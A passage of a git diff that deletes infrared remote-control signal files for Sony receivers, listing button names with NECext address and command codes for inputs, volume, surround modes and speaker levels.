00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 60 00 00 00 -# -name: TAPE_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: INPUT_MD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: MD/TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: MD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: MD/DAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: INPUT:_MD/DAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 69 00 00 00 -# -name: SAT_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: INPUT_DBS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: INPUT:TV/SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: LASER_DISC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: DVD/LD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: 5.1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: 5.1CH -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: 5.1_IN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: 5.1_CH -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: 5.1_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: INPUT:_5.1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: INPUT:_DVD/LD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: DVD_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7D 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7D 00 00 00 -# -name: DVD/LD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7D 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir deleted file mode 100644 index 513d257d0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/17,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: CH/PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 36 00 00 00 -# -name: CH/PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir deleted file mode 100644 index eb3122c02..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/176,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2_CH -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 41 00 00 00 -# -name: AFD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 42 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 43 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: BASS_BOOST -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4D 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 50 00 00 00 -# -name: BASS_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 51 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 56 00 00 00 -# -name: TREB_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 57 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir deleted file mode 100644 index 8ef2ac44a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/18,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AM/FM -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 20 00 00 00 -# -name: SF:_BAND -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 20 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 20 00 00 00 -# -name: SF:_EQ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2C 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2C 00 00 00 -# -name: EQ/TONE_ON/OFF -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 2C 00 00 00 -# -name: MODE_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: SF:_MODE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: SF_MODE_> -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: SOUND_FIELD_MODE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: NOTHING -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 36 00 00 00 -# -name: MODE_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 37 00 00 00 -# -name: SF_MODE_< -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 37 00 00 00 -# -name: SF:_TEST_TONE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4A 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4A 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4A 00 00 00 -# -name: REAR_LEVEL_(+) -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4E 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4E 00 00 00 -# -name: SPEAKER_REAR_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4E 00 00 00 -# -name: REAR_DN -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4F 00 00 00 -# -name: REAR_LEVEL_(-) -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4F 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4F 00 00 00 -# -name: SPEAKER_REAR_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 4F 00 00 00 -# -name: CNTR_UP -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 54 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 54 00 00 00 -# -name: CENTER_LEVEL_(+) -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 54 00 00 00 -# -name: SPEAKER_CENTER_+ -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 54 00 00 00 -# -name: CNTR_DN -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 55 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 55 00 00 00 -# -name: CENTER_LEVEL_(-) -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 55 00 00 00 -# -name: SPEAKER_CENTER_- -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 55 00 00 00 -# -name: SOUNDFIELD_GENRE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 7C 00 00 00 -# -name: GENRE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 7C 00 00 00 -# -name: SF:_USER/PRE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir deleted file mode 100644 index e909a5d6c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/2,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: CURSER_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir deleted file mode 100644 index bd0b7bb8d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/20,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 40 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 41 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 42 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 43 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 44 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 45 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 46 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 48 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 49 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 4F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 54 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir deleted file mode 100644 index 40a31ff0e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/23,-1.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 13 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 2A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 2B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 33 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 34 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 47 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 4B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 4C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 4D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 51 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 54 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir deleted file mode 100644 index 64b23d2ce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,66.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 15 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 1E 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 20 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 21 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 22 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 23 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 25 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 42 00 00 00 -# -name: MD/DAT -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 69 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 6A 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 6B 00 00 00 -# -name: CINEMA_STUDIO_A -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 7B 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 1A 42 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir deleted file mode 100644 index d1cea9395..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/26,73.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ENTER -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0B 00 00 00 -# -name: RETURN/EXIT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 2E 00 00 00 -# -name: D.TUNING -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 79 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir deleted file mode 100644 index b93eb6da3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/36,-1.ir +++ /dev/null @@ -1,1244 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ARENA_SURROUND -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: AUTO_FORMAT_DECODING -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: GAME_SURROUND -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: JAZZ_CLUB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: NIGHT_THEATER -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: NORMAL_SURROUND -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: THEATER_A -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: AUTO_FORMAT_DECODE -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVE_L+7_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-1_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-2_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-3_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-4_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-5_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-6_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-7_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-8_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-9_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_-10_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+1_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+2_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+3_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+4_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+5_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+6_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+8_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+9_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTER_LEVEL_+10_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: CENTERL_LEVEL_0_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.1 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.2 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.4 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.7 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.8 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: D._RANGE_0.9 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: DOLBY_PROLOGIC -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-_12_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-_13_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-_14_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-_17_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-_18_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-_20_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_0_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-1_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-2_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-3_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-4_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-5_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-6_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-7_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-8_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-9_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-10_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-11_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-15_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-19_DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_-16DB -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: LFE_MUTING -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_CENTER -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_L1 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_L2 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_L3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_L4 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_L5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_L6 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_L7 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_L8_(L) -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_R1 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REAR_BALANCE_R2 -type: parsed -protocol: NECext -address: 